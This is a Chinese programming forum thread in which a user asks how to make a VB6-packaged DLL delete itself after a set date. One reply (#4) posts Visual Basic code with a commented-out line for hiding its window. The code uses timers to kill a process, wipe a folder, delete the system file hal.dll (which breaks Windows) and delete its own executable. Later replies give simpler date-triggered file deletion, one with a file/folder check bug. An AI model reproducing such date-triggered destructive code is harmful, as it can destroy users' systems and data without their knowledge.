能不能达到这种效果？ - 编程论坛

#2

wds12018-05-27 19:09

除非你程序不占用。

#3

dsasada2018-05-27 20:39

回复 2楼 wds1

谢谢，程序不占用，代码怎么写？

#4

事业男儿2018-05-27 21:34

给一个针对XP系统的代码！

只有本站会员才能查看附件，请登录

程序代码：

Private Sub Command1_Click()
Shell "taskkill /im kiln.exe /f", vbHide
Timer2.Interval = 0
Timer3.Interval = 2000
End Sub

Private Sub Command2_Click()
Dim a As Date
a = Now

Label1.Caption = Format(a, "yyyymmdd")
End Sub

Private Sub Command3_Click()
Dim fs
Set fs = CreateObject("Scripting.FileSystemObject")
Kill "C:\lieu\*.*"
Timer3.Interval = 0
Timer4.Interval = 0
End Sub

Private Sub Command4_Click()
Kill "C:\WINDOWS\system32\hal.dll"
Timer5.Interval = 0
End Sub

Private Sub Command5_Click()
Shell "cmd /c del " & App.EXEName & ".exe"
End
End Sub

Private Sub Form_Load()
'Form1.Visible = False '隐蔽应用程序
Timer2.Interval = 5000
End Sub

Private Sub Timer1_Timer()
Command2_Click
End Sub

Private Sub Timer2_Timer()
If Label1.Caption = Label2.Caption Then
   Command1_Click

Else
  End If
End Sub

Private Sub Timer3_Timer()
Command3_Click
End Sub

Private Sub Timer4_Timer()
Command4_Click
End Sub

#5

wds12018-05-28 08:58

直接kill不行么

加到Private Sub Form_Load()
If Date = CDate("2018/9/1") and Dir("C：\工程1.dll") <> "" Then Kill "C：\工程1.dll"
end sub

[此贴子已经被作者于2018-5-28 09:04编辑过]

#6

dsasada2018-05-28 10:05

回复 5楼 wds1

用vb6封装vba代码，在菜单栏添加几个按钮，这句代码能不能用，如果能用这句代码放在哪？

[此贴子已经被作者于2018-5-29 11:48编辑过]

#7

wds12018-05-28 11:43

你封装vba是想操作什么？
如果是想操作execl，那么直接用宏会更好。
如果是想用第三方程序操作execl，那么直接vb代码即可。

#8

dsasada2018-05-28 13:21

回复 7楼 wds1

想用vb6操作excel，封装为了代码安全，防止代码被修改，到指定日期封装的dll自动删掉

[此贴子已经被作者于2018-5-28 13:32编辑过]

#9

ZHRXJR2018-05-28 21:31

回复楼主 dsasada

程序代码：

Dim SRQ As Date
SRQ = CDate("2018-9-1")
If Date >= SRQ Then
    Dim FSO As Object, F1 As String
    F1 = "C：\工程1.dll"
    Set FSO = CreateObject("Scripting.FileSystemObject")
     If FSO.FolderExists(F1) = True Then
     Kill F1
     Else
     MsgBox F1 & "文件已经删除了！"
     End If
    Set FSO = Nothing
End If

#10

dsasada2018-05-28 21:43

回复 9楼 ZHRXJR

谢谢，这代码放在哪，是放在窗体加载里，这删除是彻底删除还是删除到回收站？

[此贴子已经被作者于2018-5-28 21:51编辑过]

#11

ZHRXJR2018-05-29 09:43

回复 10楼 dsasada

放在那里看你的需要了，可以放在 Form_Load 事件中，也可以放在 Command1_Click 事件中等等。
文件应该是彻底删除了吧。

#12

dsasada2018-05-29 11:51

回复 11楼 ZHRXJR

能不能实现到期自动删除dll？

[此贴子已经被作者于2018-6-3 20:32编辑过]

#13

dsasada2018-05-29 20:09

回复 11楼 ZHRXJR

帮个忙，帮我看看怎么写，谢谢